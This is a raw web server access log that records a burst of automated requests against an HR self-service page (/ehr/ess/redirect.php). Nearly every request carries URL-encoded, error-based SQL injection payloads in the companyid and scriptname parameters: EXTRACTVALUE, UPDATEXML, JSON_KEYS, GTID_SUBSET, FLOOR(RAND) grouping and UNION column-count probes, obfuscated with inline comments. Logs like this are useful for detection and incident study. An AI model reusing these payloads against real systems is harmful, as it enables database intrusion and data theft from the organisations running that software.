100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6a314c65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x777a7a62%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6a314c65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x777a7a62%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d437549%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76575376%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x51497742%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52437270%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x51497742%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52437270%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x37673659%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794d5774%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x37673659%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794d5774%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x56564a58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x764e396a%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x56564a58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x764e396a%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x77697076%2C%28NULL%29%2C0x77494378%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x574f3242%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x306f5179%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x5a4e4f65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e315631%29%2C6420%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x55713046%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67563549%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a517341%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a35714c%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x337a796d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62747862%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x49515278%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x34474e4f%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x47356962%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6970305a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x41634c31%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62595950%29%2C5431%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35437a41%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x696e3956%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f794865%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x434a777a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4b326d6e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66546474%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6a314c65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x777a7a62%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x59536b42%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a724249%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:46 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4a664752%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36594a37%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZGo3%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4a664752%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36594a37%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZGo3%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x51497742%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x52437270%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x37673659%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x794d5774%29%29%2C1%29--%2F%2A%2A%2F-&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:47 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
